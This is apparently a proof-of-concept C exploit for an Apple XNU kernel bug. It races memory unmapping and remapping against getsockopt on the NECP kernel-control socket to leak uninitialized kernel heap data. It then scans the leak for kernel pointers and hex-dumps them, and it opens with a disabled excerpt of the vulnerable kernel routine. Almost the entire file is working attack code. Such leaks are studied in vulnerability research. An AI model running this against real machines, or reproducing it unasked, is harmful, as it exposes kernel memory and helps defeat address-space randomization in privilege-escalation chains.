#if 0
if (sopt->sopt_valsize && sopt->sopt_val) {
MALLOC(data, void *, sopt->sopt_valsize, M_TEMP,
M_WAITOK);
if (data == NULL)
return (ENOMEM);
error = sooptcopyin(sopt, data,
sopt->sopt_valsize, sopt->sopt_valsize);
}
len = sopt->sopt_valsize;
socket_unlock(so, 0);
error = (*kctl->getopt)(kctl->kctlref, kcb->unit,
kcb->userdata, sopt->sopt_name,
data, &len);
if (data != NULL && len > sopt->sopt_valsize)
panic_plain("ctl_ctloutput: ctl %s returned "
"len (%lu) > sopt_valsize (%lu)\n",
kcb->kctl->name, len,
sopt->sopt_valsize);
socket_lock(so, 0);
if (error == 0) {
if (data != NULL)
error = sooptcopyout(sopt, data, len);
else
sopt->sopt_valsize = len;
}
#endif
#include <errno.h>
#include <mach/mach.h>
#include <netinet/in.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>
#if __x86_64__
#include <mach/mach_vm.h>
#include <sys/sys_domain.h>
#include <sys/kern_control.h>
#else
extern
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
extern
kern_return_t mach_vm_deallocate
(
vm_map_t target,
mach_vm_address_t address,
mach_vm_size_t size
);
#define SYSPROTO_CONTROL 2
#define AF_SYS_CONTROL 2
#define CTLIOCGINFO _IOWR('N', 3, struct ctl_info)
#define MAX_KCTL_NAME 96
struct ctl_info {
u_int32_t ctl_id;
char ctl_name[MAX_KCTL_NAME];
};
struct sockaddr_ctl {
u_char sc_len;
u_char sc_family;
u_int16_t ss_sysaddr;
u_int32_t sc_id;
u_int32_t sc_unit;
u_int32_t sc_reserved[5];
};
#endif
#define NECP_CONTROL_NAME "com.apple.net.necp_control"
#if DEBUG
#define DEBUG_TRACE(fmt, ...) printf(fmt"\n", ##__VA_ARGS__)
#else
#define DEBUG_TRACE(fmt, ...)
#endif
#define ERROR(fmt, ...) printf("Error: "fmt"\n", ##__VA_ARGS__)
typedef bool (^kernel_leak_callback_block)(const void *leak_data, size_t leak_size);
static bool open_necp_control_socket(int *necp_ctlfd) {
int ctlfd = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL);
if (ctlfd < 0) {
ERROR("Could not create a system control socket: errno %d", errno);
return false;
}
struct ctl_info ctlinfo = { .ctl_id = 0 };
strncpy(ctlinfo.ctl_name, NECP_CONTROL_NAME, sizeof(ctlinfo.ctl_name));
int err = ioctl(ctlfd, CTLIOCGINFO, &ctlinfo);
if (err) {
close(ctlfd);
ERROR("Could not retrieve the control ID number for %s: errno %d",
NECP_CONTROL_NAME, errno);
return false;
}
struct sockaddr_ctl addr = {
.sc_len = sizeof(addr),
.sc_family= AF_SYSTEM,
.ss_sysaddr = AF_SYS_CONTROL,
.sc_id= ctlinfo.ctl_id,
.sc_unit= 0,
};
err = connect(ctlfd, (struct sockaddr *)&addr, sizeof(addr));
if (err) {
close(ctlfd);
ERROR("Could not connect to the NECP control system (ID %d) "
"unit %d: errno %d", addr.sc_id, addr.sc_unit, errno);
return false;
}
*necp_ctlfd = ctlfd;
return true;
}
static bool allocate_map_address(void **map_address, size_t map_size) {
mach_vm_address_t address = (mach_vm_address_t) *map_address;
bool get_address = (address == 0);
int flags = (get_address ? VM_FLAGS_ANYWHERE : VM_FLAGS_FIXED);
kern_return_t kr = mach_vm_allocate(mach_task_self(), &address, map_size, flags);
if (kr != KERN_SUCCESS) {
ERROR("Could not allocate virtual memory: mach_vm_allocate %d: %s",
kr, mach_error_string(kr));
return false;
}
if (get_address) {
*map_address = (void *)address;
}
return true;
}
static void deallocate_map_address(void *map_address, size_t map_size) {
mach_vm_deallocate(mach_task_self(), (mach_vm_address_t) map_address, map_size);
}
struct map_address_racer_context {
pthread_t thread;
volatile bool running;
volatile bool deallocated;
volatile bool do_map;
volatile bool restart;
boolsuccess;
void *address;
size_tsize;
};
static void *map_address_racer(void *arg) {
struct map_address_racer_context *context = arg;
while (context->running) {
deallocate_map_address(context->address, context->size);
context->deallocated = true;
while (!context->do_map) {}
context->do_map = false;
close(-1);
bool success = allocate_map_address(&context->address, context->size);
if (!success) {
context->success = false;
break;
}
while (context->running && !context->restart) {}
context->restart = false;
};
return NULL;
}
static bool start_map_address_racer(struct map_address_racer_context *context, size_t leak_size) {
context->address = NULL;
context->size= leak_size;
if (!allocate_map_address(&context->address, context->size)) {
goto fail_0;
}
context->running = true;
context->deallocated = false;
context->do_map= false;
context->restart = false;
context->success = true;
int err = pthread_create(&context->thread, NULL, map_address_racer, context);
if (err) {
ERROR("Could not create map_address_racer thread: errno %d", err);
goto fail_1;
}
return true;
fail_1:
deallocate_map_address(context->address, context->size);
fail_0:
return false;
}
static void stop_map_address_racer(struct map_address_racer_context *context) {
context->running = false;
context->do_map= true;
pthread_join(context->thread, NULL);
deallocate_map_address(context->address, context->size);
}
static bool try_necp_leak(int ctlfd, struct map_address_racer_context *context) {
socklen_t length = context->size;
while (!context->deallocated) {};
context->deallocated = false;
context->do_map = true;
int err = getsockopt(ctlfd, SYSPROTO_CONTROL, 0, context->address, &length);
if (err) {
DEBUG_TRACE("Did not allocate in time");
return false;
}
uint64_t *data = context->address;
if (data[0] == 0 && data[1] == 0) {
return false;
}
return true;
}
static bool try_necp_leak_repeat(int ctlfd, kernel_leak_callback_block kernel_leak_callback,
struct map_address_racer_context *context) {
const size_t MAX_TRIES = 10000000;
bool has_leaked = false;
for (size_t try = 1;; try++) {
if (try_necp_leak(ctlfd, context)) {
DEBUG_TRACE("Triggered the leak after %zu %s!", try,
(try == 1 ? "try" : "tries"));
try = 0;
has_leaked = true;
if (kernel_leak_callback(context->address, context->size)) {
return true;
}
}
if (!has_leaked && try >= MAX_TRIES) {
ERROR("Giving up after %zu unsuccessful leak attempts", try);
return false;
}
context->restart = true;
}
}
static bool leak_kernel_heap(size_t leak_size, kernel_leak_callback_block kernel_leak_callback) {
const size_t MIN_LEAK_SIZE = 16;
bool success = false;
if (leak_size < MIN_LEAK_SIZE) {
ERROR("Target leak size too small; must be at least %zu bytes", MIN_LEAK_SIZE);
goto fail_0;
}
int ctlfd;
if (!open_necp_control_socket(&ctlfd)) {
goto fail_0;
}
struct map_address_racer_context context;
if (!start_map_address_racer(&context, leak_size)) {
goto fail_1;
}
if (!try_necp_leak_repeat(ctlfd, kernel_leak_callback, &context)) {
goto fail_2;
}
success = true;
fail_2:
stop_map_address_racer(&context);
fail_1:
close(ctlfd);
fail_0:
return success;
}
static void dump(const void *data, size_t size) {
const uint8_t *p = data;
const uint8_t *end = p + size;
unsigned off = 0;
while (p < end) {
printf("%06x:%02x", off & 0xffffff, *p++);
for (unsigned i = 1; i < 16 && p < end; i++) {
bool space = (i % 8) == 0;
printf(" %s%02x", (space ? " " : ""), *p++);
}
printf("\n");
off += 16;
}
}
int main(int argc, const char *argv[]) {
if (argc != 2) {
ERROR("Usage: %s <leak-size>", argv[0]);
return 1;
}
char *end;
size_t leak_size = strtoul(argv[1], &end, 0);
if (*end != 0) {
ERROR("Invalid leak size '%s'", argv[1]);
return 1;
}
const size_t MAX_TRIES = 50000;
__block size_t try = 1;
__block bool leaked = false;
bool success = leak_kernel_heap(leak_size, ^bool (const void *leak, size_t size) {
const uint64_t *p = leak;
for (size_t i = 0; i < size / sizeof(*p); i++) {
if (p[i] >> 48 == 0xffff) {
dump(leak, size);
leaked = true;
return true;
}
}
#if DEBUG
DEBUG_TRACE("Boring leak:");
dump(leak, size);
#endif
if (try >= MAX_TRIES) {
ERROR("Could not leak interesting data after %zu attempts", try);
return true;
}
try++;
return false;
});
return (success && leaked ? 0 : 1);
}